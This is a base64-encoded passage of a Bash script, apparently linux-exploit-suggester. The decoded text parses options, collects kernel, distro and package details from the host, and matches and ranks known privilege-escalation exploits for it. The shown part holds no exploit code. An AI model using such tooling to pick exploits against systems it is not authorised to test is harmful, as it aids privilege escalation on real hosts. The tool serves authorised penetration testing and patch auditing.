KICAgICAgICAgICAgb3B0X2Z1bGw9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC1nfC0tc2hvcnQpCiAgICAgICAgICAgIG9wdF9zdW1tYXJ5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtYnwtLWZldGNoLWJpbmFyaWVzKQogICAgICAgICAgICBvcHRfZmV0Y2hfYmlucz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLXN8LS1mZXRjaC1zb3VyY2VzKQogICAgICAgICAgICBvcHRfZmV0Y2hfc3Jjcz10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWt8LS1rZXJuZWwpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIEtFUk5FTD0iJDEiCiAgICAgICAgICAgIG9wdF9rZXJuZWxfdmVyc2lvbj10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLWR8LS1zaG93LWRvcykKICAgICAgICAgICAgb3B0X3Nob3dfZG9zPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtcHwtLXBrZ2xpc3QtZmlsZSkKICAgICAgICAgICAgc2hpZnQKICAgICAgICAgICAgUEtHTElTVF9GSUxFPSIkMSIKICAgICAgICAgICAgb3B0X3BrZ2xpc3RfZmlsZT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS1jdmVsaXN0LWZpbGUpCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIENWRUxJU1RfRklMRT0iJDEiCiAgICAgICAgICAgIG9wdF9jdmVsaXN0X2ZpbGU9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgIC0tY2hlY2tzZWMpCiAgICAgICAgICAgIG9wdF9jaGVja3NlY19tb2RlPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLWtlcm5lbHNwYWNlLW9ubHkpCiAgICAgICAgICAgIG9wdF9rZXJuZWxfb25seT10cnVlCiAgICAgICAgICAgIDs7CiAgICAgICAgLS11c2Vyc3BhY2Utb25seSkKICAgICAgICAgICAgb3B0X3VzZXJzcGFjZV9vbmx5PXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXNraXAtbW9yZS1jaGVja3MpCiAgICAgICAgICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPXRydWUKICAgICAgICAgICAgOzsKICAgICAgICAtLXNraXAtcGtnLXZlcnNpb25zKQogICAgICAgICAgICBvcHRfc2tpcF9wa2dfdmVyc2lvbnM9dHJ1ZQogICAgICAgICAgICA7OwogICAgICAgICopCiAgICAgICAgICAgIHNoaWZ0CiAgICAgICAgICAgIGlmIFsgIiQjIiAhPSAiMCIgXTsgdGhlbgogICAgICAgICAgICAgICAgZXhpdFdpdGhFcnJNc2cgIlVua25vd24gb3B0aW9uICckMScuIEFib3J0aW5nLiIKICAgICAgICAgICAgZmkKICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgOzsKICAgIGVzYWMKICAgIHNoaWZ0CmRvbmUKCiMgY2hlY2sgQmFzaCB2ZXJzaW9uIChhc3NvY2lhdGl2ZSBhcnJheXMgbmVlZCBCYXNoIGluIHZlcnNpb24gNC4wKykKaWYgKChCQVNIX1ZFUlNJTkZPWzBdIDwgNCkpOyB0aGVuCiAgICBleGl0V2l0aEVyck1zZyAiU2NyaXB0IG5lZWRzIEJhc2ggaW4gdmVyc2lvbiA0LjAgb3IgbmV3ZXIuIEFib3J0aW5nLiIKZmkKCiMgZXhpdCBpZiBib3RoIC0ta2VybmVsIGFuZCAtLXVuYW1lIGFyZSBzZXQKWyAiJG9wdF9rZXJuZWxfdmVyc2lvbiIgPSAidHJ1ZSIgXSAmJiBbICRvcHRfdW5hbWVfc3RyaW5nID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC1rfC0ta2VybmVsIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKCiMgZXhpdCBpZiBib3RoIC0tZnVsbCBhbmQgLS1zaG9ydCBhcmUgc2V0ClsgIiRvcHRfZnVsbCIgPSAidHJ1ZSIgXSAmJiBbICRvcHRfc3VtbWFyeSA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtZnwtLWZ1bGwgYW5kIC1nfC0tc2hvcnQgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgoKIyAtLWN2ZWxpc3QtZmlsZSBtb2RlIGlzIHN0YW5kYWxvbmUgbW9kZSBhbmQgaXMgbm90IGFwcGxpY2FibGUgd2hlbiBvbmUgb2YgLWsgfCAtdSB8IC1wIHwgLS1jaGVja3NlYyBzd2l0Y2hlcyBhcmUgc2V0CmlmIFsgIiRvcHRfY3ZlbGlzdF9maWxlIiA9ICJ0cnVlIiBdOyB0aGVuCiAgICBbICEgLWUgIiRDVkVMSVNUX0ZJTEUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlByb3ZpZGVkIENWRSBsaXN0IGZpbGUgZG9lcyBub3QgZXhpc3RzLiBBYm9ydGluZy4iCiAgICBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAta3wtLWtlcm5lbCBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC0tY3ZlbGlzdC1maWxlIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKICAgIFsgIiRvcHRfcGtnbGlzdF9maWxlIiA9ICJ0cnVlIiBdICYmIGV4aXRXaXRoRXJyTXNnICJTd2l0Y2hlcyAtcHwtLXBrZ2xpc3QtZmlsZSBhbmQgLS1jdmVsaXN0LWZpbGUgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgpmaQoKIyAtLWNoZWNrc2VjIG1vZGUgaXMgc3RhbmRhbG9uZSBtb2RlIGFuZCBpcyBub3QgYXBwbGljYWJsZSB3aGVuIG9uZSBvZiAtayB8IC11IHwgLXAgfCAtLWN2ZWxpc3QtZmlsZSBzd2l0Y2hlcyBhcmUgc2V0CmlmIFsgIiRvcHRfY2hlY2tzZWNfbW9kZSIgPSAidHJ1ZSIgXTsgdGhlbgogICAgWyAiJG9wdF9rZXJuZWxfdmVyc2lvbiIgPSAidHJ1ZSIgXSAmJiBleGl0V2l0aEVyck1zZyAiU3dpdGNoZXMgLWt8LS1rZXJuZWwgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC11fC0tdW5hbWUgYW5kIC0tY2hlY2tzZWMgYXJlIG11dHVhbGx5IGV4Y2x1c2l2ZS4gQWJvcnRpbmcuIgogICAgWyAiJG9wdF9wa2dsaXN0X2ZpbGUiID0gInRydWUiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlN3aXRjaGVzIC1wfC0tcGtnbGlzdC1maWxlIGFuZCAtLWNoZWNrc2VjIGFyZSBtdXR1YWxseSBleGNsdXNpdmUuIEFib3J0aW5nLiIKZmkKCiMgZXh0cmFjdCBrZXJuZWwgdmVyc2lvbiBhbmQgb3RoZXIgT1MgaW5mbyBsaWtlIGRpc3RybyBuYW1lLCBkaXN0cm8gdmVyc2lvbiwgZXRjLiAzIHBvc3NpYmlsaXRpZXMgaGVyZToKIyBjYXNlIDE6IC0ta2VybmVsIHNldAppZiBbICIkb3B0X2tlcm5lbF92ZXJzaW9uIiA9PSAidHJ1ZSIgXTsgdGhlbgogICAgIyBUT0RPOiBhZGQga2VybmVsIHZlcnNpb24gbnVtYmVyIHZhbGlkYXRpb24KICAgIFsgLXogIiRLRVJORUwiIF0gJiYgZXhpdFdpdGhFcnJNc2cgIlVucmVjb2duaXplZCBrZXJuZWwgdmVyc2lvbiBnaXZlbi4gQWJvcnRpbmcuIgogICAgQVJDSD0iIgogICAgT1M9IiIKCiAgICAjIGRvIG5vdCBwZXJmb3JtIGFkZGl0aW9uYWwgY2hlY2tzIG9uIGN1cnJlbnQgbWFjaGluZQogICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQoKICAgICMgZG8gbm90IGNvbnNpZGVyIGN1cnJlbnQgT1MKICAgIGdldFBrZ0xpc3QgIiIgIiRQS0dMSVNUX0ZJTEUiCgojIGNhc2UgMjogLS11bmFtZSBzZXQKZWxpZiBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gInRydWUiIF07IHRoZW4KICAgIFsgLXogIiRVTkFNRV9BIiBdICYmIGV4aXRXaXRoRXJyTXNnICJ1bmFtZSBzdHJpbmcgZW1wdHkuIEFib3J0aW5nLiIKICAgIHBhcnNlVW5hbWUgIiRVTkFNRV9BIgoKICAgICMgZG8gbm90IHBlcmZvcm0gYWRkaXRpb25hbCBjaGVja3Mgb24gY3VycmVudCBtYWNoaW5lCiAgICBvcHRfc2tpcF9tb3JlX2NoZWNrcz10cnVlCgogICAgIyBkbyBub3QgY29uc2lkZXIgY3VycmVudCBPUwogICAgZ2V0UGtnTGlzdCAiIiAiJFBLR0xJU1RfRklMRSIKCiMgY2FzZSAzOiAtLWN2ZWxpc3QtZmlsZSBtb2RlCmVsaWYgWyAiJG9wdF9jdmVsaXN0X2ZpbGUiID0gInRydWUiIF07IHRoZW4KCiAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgIFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgZ2V0S2VybmVsQ29uZmlnCgojIGNhc2UgNDogLS1jaGVja3NlYyBtb2RlCmVsaWYgWyAiJG9wdF9jaGVja3NlY19tb2RlIiA9ICJ0cnVlIiBdOyB0aGVuCgogICAgIyB0aGlzIHN3aXRjaCBpcyBub3QgYXBwbGljYWJsZSBpbiB0aGlzIG1vZGUKICAgIG9wdF9za2lwX21vcmVfY2hlY2tzPWZhbHNlCgogICAgIyBnZXQga2VybmVsIGNvbmZpZ3VyYXRpb24gaW4gdGhpcyBtb2RlCiAgICBnZXRLZXJuZWxDb25maWcKICAgIFsgLXogIiRLQ09ORklHIiBdICYmIGVjaG8gIldBUk5JTkcuIEtlcm5lbCBDb25maWcgbm90IGZvdW5kIG9uIHRoZSBzeXN0ZW0gcmVzdWx0cyB3b24ndCBiZSBjb21wbGV0ZS4iCgogICAgIyBsYXVuY2ggY2hlY2tzZWMgbW9kZQogICAgY2hlY2tzZWNNb2RlCgogICAgZXhpdCAwCgojIGNhc2UgNTogbm8gLS11bmFtZSB8IC0ta2VybmVsIHwgLS1jdmVsaXN0LWZpbGUgfCAtLWNoZWNrc2VjIHNldAplbHNlCgogICAgIyAtLXBrZ2xpc3QtZmlsZSBOT1QgcHJvdmlkZWQ6IHRha2UgYWxsIGluZm8gZnJvbSBjdXJyZW50IG1hY2hpbmUKICAgICMgY2FzZSBmb3IgdmFuaWxsYSBleGVjdXRpb246IC4vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2gKICAgIGlmIFsgIiRvcHRfcGtnbGlzdF9maWxlIiA9PSAiZmFsc2UiIF07IHRoZW4KICAgICAgICBVTkFNRV9BPSQodW5hbWUgLWEpCiAgICAgICAgWyAteiAiJFVOQU1FX0EiIF0gJiYgZXhpdFdpdGhFcnJNc2cgInVuYW1lIHN0cmluZyBlbXB0eS4gQWJvcnRpbmcuIgogICAgICAgIHBhcnNlVW5hbWUgIiRVTkFNRV9BIgoKICAgICAgICAjIGdldCBrZXJuZWwgY29uZmlndXJhdGlvbiBpbiB0aGlzIG1vZGUKICAgICAgICBbICIkb3B0X3NraXBfbW9yZV9jaGVja3MiID0gImZhbHNlIiBdICYmIGdldEtlcm5lbENvbmZpZwoKICAgICAgICAjIGV4dHJhY3QgZGlzdHJpYnV0aW9uIHZlcnNpb24gZnJvbSAvZXRjL29zLXJlbGVhc2UgT1IgL2V0Yy9sc2ItcmVsZWFzZQogICAgICAgIFsgLW4gIiRPUyIgLWEgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPSAiZmFsc2UiIF0gJiYgRElTVFJPPSQoZ3JlcCAtcyAtRSAnXkRJU1RSSUJfUkVMRUFTRT18XlZFUlNJT05fSUQ9JyAvZXRjLyotcmVsZWFzZSB8IGN1dCAtZCc9JyAtZjIgfCBoZWFkIC0xIHwgdHIgLWQgJyInKQoKICAgICAgICAjIGV4dHJhY3QgcGFja2FnZSBsaXN0aW5nIGZyb20gY3VycmVudCBPUwogICAgICAgIGdldFBrZ0xpc3QgIiRPUyIgIiIKCiAgICAjIC0tcGtnbGlzdC1maWxlIHByb3ZpZGVkOiBvbmx5IGNvbnNpZGVyIHVzZXJzcGFjZSBleHBsb2l0cyBhZ2FpbnN0IHByb3ZpZGVkIHBhY2thZ2UgbGlzdGluZwogICAgZWxzZQogICAgICAgIEtFUk5FTD0iIgogICAgICAgICNUT0RPOiBleHRyYWN0IG1hY2hpbmUgYXJjaCBmcm9tIHBhY2thZ2UgbGlzdGluZwogICAgICAgIEFSQ0g9IiIKICAgICAgICB1bnNldCBFWFBMT0lUUwogICAgICAgIGRlY2xhcmUgLUEgRVhQTE9JVFMKICAgICAgICBnZXRQa2dMaXN0ICIiICIkUEtHTElTVF9GSUxFIgoKICAgICAgICAjIGFkZGl0aW9uYWwgY2hlY2tzIGFyZSBub3QgYXBwbGljYWJsZSBmb3IgdGhpcyBtb2RlCiAgICAgICAgb3B0X3NraXBfbW9yZV9jaGVja3M9dHJ1ZQogICAgZmkKZmkKCmVjaG8KZWNobyAtZSAiJHtibGR3aHR9QXZhaWxhYmxlIGluZm9ybWF0aW9uOiR7dHh0cnN0fSIKZWNobwpbIC1uICIkS0VSTkVMIiBdICYmIGVjaG8gLWUgIktlcm5lbCB2ZXJzaW9uOiAke3R4dGdybn0kS0VSTkVMJHt0eHRyc3R9IiB8fCBlY2hvIC1lICJLZXJuZWwgdmVyc2lvbjogJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IgplY2hvICJBcmNoaXRlY3R1cmU6ICQoWyAtbiAiJEFSQ0giIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JEFSQ0gke3R4dHJzdH0iIHx8IGVjaG8gLWUgIiR7dHh0cmVkfU4vQSR7dHh0cnN0fSIpIgplY2hvICJEaXN0cmlidXRpb246ICQoWyAtbiAiJE9TIiBdICYmIGVjaG8gLWUgIiR7dHh0Z3JufSRPUyR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCmVjaG8gLWUgIkRpc3RyaWJ1dGlvbiB2ZXJzaW9uOiAkKFsgLW4gIiRESVNUUk8iIF0gJiYgZWNobyAtZSAiJHt0eHRncm59JERJU1RSTyR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCgplY2hvICJBZGRpdGlvbmFsIGNoZWNrcyAoQ09ORklHXyosIHN5c2N0bCBlbnRyaWVzLCBjdXN0b20gQmFzaCBjb21tYW5kcyk6ICQoWyAiJG9wdF9za2lwX21vcmVfY2hlY2tzIiA9PSAiZmFsc2UiIF0gJiYgZWNobyAtZSAiJHt0eHRncm59cGVyZm9ybWVkJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKCmlmIFsgLW4gIiRQS0dMSVNUX0ZJTEUiIC1hIC1uICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dGdybn0kUEtHTElTVF9GSUxFJHt0eHRyc3R9IgplbGlmIFsgLW4gIiRQS0dMSVNUX0ZJTEUiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dHJlZH11bnJlY29nbml6ZWQgZmlsZSBwcm92aWRlZCR7dHh0cnN0fSIKZWxpZiBbIC1uICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHBrZ0xpc3RGaWxlPSIke3R4dGdybn1mcm9tIGN1cnJlbnQgT1Mke3R4dHJzdH0iCmZpCgplY2hvIC1lICJQYWNrYWdlIGxpc3Rpbmc6ICQoWyAtbiAiJHBrZ0xpc3RGaWxlIiBdICYmIGVjaG8gLWUgIiRwa2dMaXN0RmlsZSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCgojIGhhbmRsZSAtLWtlcm5lbHNwYWN5LW9ubHkgJiAtLXVzZXJzcGFjZS1vbmx5IGZpbHRlciBvcHRpb25zCmlmIFsgIiRvcHRfa2VybmVsX29ubHkiID0gInRydWUiIC1vIC16ICIkUEtHX0xJU1QiIF07IHRoZW4KICAgIHVuc2V0IEVYUExPSVRTX1VTRVJTUEFDRQogICAgZGVjbGFyZSAtQSBFWFBMT0lUU19VU0VSU1BBQ0UKZmkKCmlmIFsgIiRvcHRfdXNlcnNwYWNlX29ubHkiID0gInRydWUiIF07IHRoZW4KICAgIHVuc2V0IEVYUExPSVRTCiAgICBkZWNsYXJlIC1BIEVYUExPSVRTCmZpCgplY2hvCmVjaG8gLWUgIiR7Ymxkd2h0fVNlYXJjaGluZyBhbW9uZzoke3R4dHJzdH0iCmVjaG8KZWNobyAiJHsjRVhQTE9JVFNbQF19IGtlcm5lbCBzcGFjZSBleHBsb2l0cyIKZWNobyAiJHsjRVhQTE9JVFNfVVNFUlNQQUNFW0BdfSB1c2VyIHNwYWNlIGV4cGxvaXRzIgplY2hvCgplY2hvIC1lICIke2JsZHdodH1Qb3NzaWJsZSBFeHBsb2l0czoke3R4dHJzdH0iCmVjaG8KCiMgc3RhcnQgYW5hbHlzaXMKaj0wCmZvciBFWFAgaW4gIiR7RVhQTE9JVFNbQF19IiAiJHtFWFBMT0lUU19VU0VSU1BBQ0VbQF19IjsgZG8KCiAgICAjIGNyZWF0ZSBhcnJheSBmcm9tIGN1cnJlbnQgZXhwbG9pdCBoZXJlIGRvYyBhbmQgZmV0Y2ggbmVlZGVkIGxpbmVzCiAgICBpPTAKICAgICMgKCctcicgaXMgdXNlZCB0byBub3QgaW50ZXJwcmV0IGJhY2tzbGFzaCB1c2VkIGZvciBiYXNoIGNvbG9ycykKICAgIHdoaWxlIHJlYWQgLXIgbGluZQogICAgZG8KICAgICAgICBhcnJbaV09IiRsaW5lIgogICAgICAgIGk9JCgoaSArIDEpKQogICAgZG9uZSA8PDwgIiRFWFAiCgogICAgTkFNRT0iJHthcnJbMF19IiAmJiBOQU1FPSIke05BTUU6Nn0iCiAgICBSRVFTPSIke2FyclsxXX0iICYmIFJFUVM9IiR7UkVRUzo2fSIKICAgIFRBR1M9IiR7YXJyWzJdfSIgJiYgVEFHUz0iJHtUQUdTOjZ9IgogICAgUkFOSz0iJHthcnJbM119IiAmJiBSQU5LPSIke1JBTks6Nn0iCgogICAgIyBzcGxpdCBsaW5lIHdpdGggcmVxdWlyZW1lbnRzICYgbG9vcCB0aHJ1IGFsbCByZXFzIG9uZSBieSBvbmUgJiBjaGVjayB3aGV0aGVyIGl0IGlzIG1ldAogICAgSUZTPScsJyByZWFkIC1yIC1hIGFycmF5IDw8PCAiJFJFUVMiCiAgICBSRVFTX05VTT0keyNhcnJheVtAXX0KICAgIFBBU1NFRF9SRVE9MAogICAgZm9yIFJFUSBpbiAiJHthcnJheVtAXX0iOyBkbwogICAgICAgIGlmIChjaGVja1JlcXVpcmVtZW50ICIkUkVRIiAiJHthcnJheVswXX0iKTsgdGhlbgogICAgICAgICAgICBQQVNTRURfUkVRPSQoKCRQQVNTRURfUkVRICsgMSkpCiAgICAgICAgZWxzZQogICAgICAgICAgICBicmVhawogICAgICAgIGZpCiAgICBkb25lCgogICAgIyBleGVjdXRlIGZvciBleHBsb2l0cyB3aXRoIGFsbCByZXF1aXJlbWVudHMgbWV0CiAgICBpZiBbICRQQVNTRURfUkVRIC1lcSAkUkVRU19OVU0gXTsgdGhlbgoKICAgICAgICAjIGFkZGl0aW9uYWwgcmVxdWlyZW1lbnQgZm9yIC0tY3ZlbGlzdC1maWxlIG1vZGU6IGNoZWNrIGlmIENWRSBhc3NvY2lhdGVkIHdpdGggdGhlIGV4cGxvaXQgaXMgb24gdGhlIENWRUxJU1RfRklMRQogICAgICAgIGlmIFsgIiRvcHRfY3ZlbGlzdF9maWxlIiA9ICJ0cnVlIiBdOyB0aGVuCgogICAgICAgICAgICAjIGV4dHJhY3QgQ1ZFKHMpIGFzc29jaWF0ZWQgd2l0aCBnaXZlbiBleHBsb2l0IChhbHNvIHRyYW5zbGF0ZXMgJywnIHRvICd8JyBmb3IgZWFzeSBoYW5kbGluZyBtdWx0aXBsZSBDVkVzIGNhc2UgLSB2aWEgZXh0ZW5kZWQgcmVnZXgpCiAgICAgICAgICAgIGN2ZT0kKGVjaG8gIiROQU1FIiB8IGdyZXAgJy4qXFsuKlxdLionIHwgY3V0IC1kICdtJyAtZjIgfCBjdXQgLWQgJ10nIC1mMSB8IHRyIC1kICdbJyB8IHRyICIsIiAifCIpCiAgICAgICAgICAgICNlY2hvICJDVkU6ICRjdmUiCgogICAgICAgICAgICAjIGNoZWNrIGlmIGl0J3Mgb24gQ1ZFTElTVF9GSUxFIGxpc3QsIGlmIG5vIG1vdmUgdG8gbmV4dCBleHBsb2l0CiAgICAgICAgICAgIFsgISAkKGNhdCAiJENWRUxJU1RfRklMRSIgfCBncmVwIC1FICIkY3ZlIikgXSAmJiBjb250aW51ZQogICAgICAgIGZpCgogICAgICAgICMgcHJvY2VzcyB0YWdzIGFuZCBoaWdobGlnaHQgdGhvc2UgdGhhdCBtYXRjaCBjdXJyZW50IE9TIChvbmx5IGZvciBkZWJ8dWJ1bnR1fFJIRUwgYW5kIGlmIHdlIGtub3cgZGlzdHJvIHZlcnNpb24gLSBkaXJlY3QgbW9kZSkKICAgICAgICB0YWdzPSIiCiAgICAgICAgaWYgWyAtbiAiJFRBR1MiIC1hIC1uICIkT1MiIF07IHRoZW4KICAgICAgICAgICAgSUZTPScsJyByZWFkIC1yIC1hIHRhZ3NfYXJyYXkgPDw8ICIkVEFHUyIKICAgICAgICAgICAgVEFHU19OVU09JHsjdGFnc19hcnJheVtAXX0KCiAgICAgICAgICAgICMgYnVtcCBSQU5LIHNsaWdodGx5ICgrMSkgaWYgd2UncmUgaW4gJy0tdW5hbWUnIG1vZGUgYW5kIHRoZXJlJ3MgYSBUQUcgZm9yIE9TIGZyb20gdW5hbWUgc3RyaW5nCiAgICAgICAgICAgIFsgIiQoZWNobyAiJHt0YWdzX2FycmF5W0BdfSIgfCBncmVwICIkT1MiKSIgLWEgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAidHJ1ZSIgXSAmJiBSQU5LPSQoKCRSQU5LICsgMSkpCgogICAgICAgICAgICBmb3IgVEFHIGluICIke3RhZ3NfYXJyYXlbQF19IjsgZG8KICAgICAgICAgICAgICAgIHRhZ19kaXN0cm89JChlY2hvICIkVEFHIiB8IGN1dCAtZCc9JyAtZjEpCiAgICAgICAgICAgICAgICB0YWdfZGlzdHJvX251bV9hbGw9JChlY2hvICIkVEFHIiB8IGN1dCAtZCc9JyAtZjIpCiAgICAgICAgICAgICAgICAjIGluIGNhc2Ugb2YgdGFnIG9mIGZvcm06ICd1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wLTIxfSByZW1vdmUga2VybmVsIHZlcnNpb25pbmcgcGFydCBmb3IgY29tcGFyaXNpb24KICAgICAgICAgICAgICAgIHRhZ19kaXN0cm9fbnVtPSIke3RhZ19kaXN0cm9fbnVtX2FsbCV7Kn0iCgogICAgICAgICAgICAgICAgIyB3ZSdyZSBpbiAnLS11bmFtZScgbW9kZSBPUiAoZm9yIG5vcm1hbCBtb2RlKSBpZiB0aGVyZSBpcyBkaXN0cm8gdmVyc2lvbiBtYXRjaAogICAgICAgICAgICAgICAgaWYgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJ0cnVlIiAtbyBcKCAiJE9TIiA9PSAiJHRhZ19kaXN0cm8iIC1hICIkKGVjaG8gIiRESVNUUk8iIHwgZ3JlcCAtRSAiJHRhZ19kaXN0cm9fbnVtIikiIFwpIF07IHRoZW4KCiAgICAgICAgICAgICAgICAgICAgIyBidW1wIGN1cnJlbnQgZXhwbG9pdCdzIHJhbmsgYnkgMiBmb3IgZGlzdHJvIG1hdGNoIChhbmQgbm90IGluICctLXVuYW1lJyBtb2RlKQogICAgICAgICAgICAgICAgICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAiZmFsc2UiIF0gJiYgUkFOSz0kKCgkUkFOSyArIDIpKQoKICAgICAgICAgICAgICAgICAgICAjIGdldCBuYW1lIChrZXJuZWwgb3IgcGFja2FnZSBuYW1lKSBhbmQgdmVyc2lvbiBvZiBrZXJuZWwvcGtnIGlmIHByb3ZpZGVkOgogICAgICAgICAgICAgICAgICAgIHRhZ19wa2c9JChlY2hvICIkdGFnX2Rpc3Ryb19udW1fYWxsIiB8IGN1dCAtZCd7JyAtZiAyIHwgdHIgLWQgJ30nIHwgY3V0IC1kJzonIC1mIDEpCiAgICAgICAgICAgICAgICAgICAgdGFnX3BrZ19udW09IiIKICAgICAgICAgICAgICAgICAgICBbICQoZWNobyAiJHRhZ19kaXN0cm9fbnVtX2FsbCIgfCBncmVwICd7JykgXSAmJiB0YWdfcGtnX251bT0kKGVjaG8gIiR0YWdfZGlzdHJvX251bV9hbGwiIHwgY3V0IC1kJ3snIC1mIDIgfCB0ciAtZCAnfScgfCBjdXQgLWQnOicgLWYgMikKCiAgICAgICAgICAgICAgICAgICAgI1sgLW4gIiR0YWdfcGtnX251bSIgXSAmJiBlY2hvICJ0YWdfcGtnX251bTogJHRhZ19wa2dfbnVtOyBrZXJuZWw6ICRLRVJORUxfQUxMIgoKICAgICAgICAgICAgICAgICAgICAjIGlmIHBrZy9rZXJuZWwgdmVyc2lvbiBpcyBub3QgcHJvdmlkZWQ6CiAgICAgICAgICAgICAgICAgICAgaWYgWyAteiAiJHRhZ19wa2dfbnVtIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAiZmFsc2UiIF0gJiYgVEFHPSIke2xpZ2h0eWVsbG93fVsgJHtUQUd9IF0ke3R4dHJzdH0iCgogICAgICAgICAgICAgICAgICAgICMga2VybmVsIHZlcnNpb24gcHJvdmlkZWQsIGNoZWNrIGZvciBtYXRjaDoKICAgICAgICAgICAgICAgICAgICBlbGlmIFsgLW4gIiR0YWdfcGtnX251bSIgLWEgIiR0YWdfcGtnIiA9ICJrZXJuZWwiIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgaWYgWyAkKGVjaG8gIiRLRVJORUxfQUxMIiB8IGdyZXAgLUUgIiR7dGFnX3BrZ19udW19IikgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBrZXJuZWwgdmVyc2lvbiBtYXRjaGVkIC0gYm9sZCBoaWdobGlnaHQKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRBRz0iJHt5ZWxsb3d9WyAke1RBR30gXSR7dHh0cnN0fSIKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAjIGJ1bXAgY3VycmVudCBleHBsb2l0J3MgcmFuayBhZGRpdGlvbmFsbHkgYnkgMyBmb3Iga2VybmVsIHZlcnNpb24gcmVnZXggbWF0Y2gKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJBTks9JCgoJFJBTksgKyAzKSkKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgWyAiJG9wdF91bmFtZV9zdHJpbmciID09ICJmYWxzZSIgXSAmJiBUQUc9IiR7bGlnaHR5ZWxsb3d9WyAkdGFnX2Rpc3Rybz0kdGFnX2Rpc3Ryb19udW0gXSR7dHh0cnN0fXtrZXJuZWw6JHRhZ19wa2dfbnVtfSIKICAgICAgICAgICAgICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICAgICAgICAgIyBwa2cgdmVyc2lvbiBwcm92aWRlZCwgY2hlY2sgZm9yIG1hdGNoIChUQkQpOgogICAgICAgICAgICAgICAgICAgIGVsaWYgWyAtbiAiJHRhZ19wa2dfbnVtIiAtYSAtbiAiJHRhZ19wa2ciICBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIFRBRz0iJHtsaWdodHllbGxvd31bICR0YWdfZGlzdHJvPSR0YWdfZGlzdHJvX251bSBdJHt0eHRyc3R9eyR0YWdfcGtnOiR0YWdfcGtnX251bX0iCiAgICAgICAgICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICAgICBmaQoKICAgICAgICAgICAgICAgICMgYXBwZW5kIGN1cnJlbnQgdGFnIHRvIHRhZ3MgbGlzdAogICAgICAgICAgICAgICAgdGFncz0iJHt0YWdzfSR7VEFHfSwiCiAgICAgICAgICAgIGRvbmUKICAgICAgICAgICAgIyB0cmltICcsJyBhZGRlZCBieSBhYm92ZSBsb29wCiAgICAgICAgICAgIFsgLW4gIiR0YWdzIiBdICYmIHRhZ3M9IiR7dGFncyU/fSIKICAgICAgICBlbHNlCiAgICAgICAgICAgIHRhZ3M9